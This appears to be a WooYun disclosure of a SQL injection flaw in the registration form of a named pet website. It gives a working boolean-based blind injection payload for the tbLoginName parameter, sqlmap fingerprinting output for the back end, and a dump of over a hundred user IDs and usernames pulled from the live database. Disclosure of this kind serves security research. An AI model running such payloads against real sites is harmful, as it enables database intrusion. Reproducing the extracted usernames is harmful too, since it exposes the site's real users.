WooYun.org

http://pet.sina.com.cn

http://poke.petkoo.com/Member/Register.shtml

#1 注入参数:tbLoginName

#2 注入参数:uName

Parameter: tbLoginName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: btMemberAdd=%cd%ac%d2%e2%b7%fe%ce%f1%cc%f5%bf%ee%a3%ac%cc%e1%bd%bb%
d7%a2%b2%e1%d0%c5%cf%a2&checkbox=on&tbDisplayName=oxpqyjvj&tbEmail=sample@email.
tst&tbLoginName='+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(71)+CHAR(49)+CHAR
(85)+CHAR(53)+CHAR(117)+CHAR(113)+CHAR(67)+CHAR(113))+'' AND 9044=9044 AND 'TQKB
'='TQKB&tbPassword=g00dPa$$w0rD&tbPasswordEnter=g00dPa$$w0rD&txt_end=1&__EVENTAR
GUMENT=&__EVENTTARGET=&__EVENTVALIDATION=/wEWCAKO4q7KDgK39K/wCQLV4ZnDDwK3jsrkBAL
L3s+dCwKMqLLaDgKtm4ayCQLzksGwBbe1PjPqKSMFuexgTs5U4DbRR+01&__VIEWSTATE=/wEPDwUKLT
Q2MzY2MDQxOQ9kFgICAw9kFgYCFw8PFgIeBFRleHQFATJkZAIZDw8WAh8ABQE0ZGQCGw8PFgIfAAUBNm
RkZKc/RZq1njNDw4l5g+lrurePVR4t&__VIEWSTATEGENERATOR=F50CAB47
---
[14:43:21] [INFO] testing Microsoft SQL Server
[14:43:21] [INFO] confirming Microsoft SQL Server
[14:43:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2012

http://poke.petkoo.com/member/

432	lingqing	
781	zhangyan	
807	zhanghua	
886	zhangbin	
1171	zhangyan	
1190	zhangyan	
1207	zhanghua	
1309	zhangbin	
1760	zhangyan	
1836	zhangyan	
1904	zhanghua	
2312	zhangbin	
259	zhangying	
869	zhangming	
942	yangyan	
1262	zhangying	
1286	zhangming	
1336	zhangying	
1382	yangyan	
1514	zhangying	
1630	yangyan	
2124	zhangying	
2220	zhangming	
2420	zhangying	
2604	yangyan	
3132	zhangying	
3596	yangyan	
671	chenfeng	
800	chenjing	
813	lichao	
819	wangling	
929	chenling	
961	yangfang	
1070	yangling	
1127	yanghong	
1196	chenjing	
1213	lichao	
1221	wangling	
1362	chenling	
1411	yangfang	
1548	yangling	
1626	yanghong	
1860	chenjing	
1928	lichao	
1960	wangling	
2524	chenling	
2720	yangfang	
3268	yangling	
3580	yanghong	
17	test 	
18	123456 	
56	lufei	
359	xiaowei	
574	lixiang	
615	liulian	
769	limin	
831	wangxin	
840	zhangyu	
861	liuying	
895	wanglin	
1158	limin	
1234	wangxin	
1246	zhangyu	
1277	liuying	
1319	wanglin	
1391	liuying	
1464	wanglin	
1495	zhangyu	
1530	lixiang	
1576	wangxin	
1616	zhangyu	
1708	limin	
1963	wling	
2012	wangxin	
2060	zhangyu	
2184	liuying	
2352	wanglin	
2640	liuying	
2932	wanglin	
3056	zhangyu	
3196	lixiang	
3380	wangxin	
3540	zhangyu	
3	test	
30	yuanyi	
414	lichun	
372	lizhi	
783	liyan	
787	lixia	
1174	liyan	
1181	lixia	
1217	liyan	
1556	liyan	
1772	liyan	
1800	lixia	
1944	liyan	
2690	wjg	
2838	lyy	
2858	ztt	
3154	lyy	
3300	liyan	
3350	ldd	
788	lili	
833	libo	
1182	lili	
1237	libo	
1266	lili	
1610	libo	
1646	ww	
1706	wm	
1804	lili	
2024	libo	
2140	lili	
2482	wm	
3278	yp	
3318	wm	
3516	libo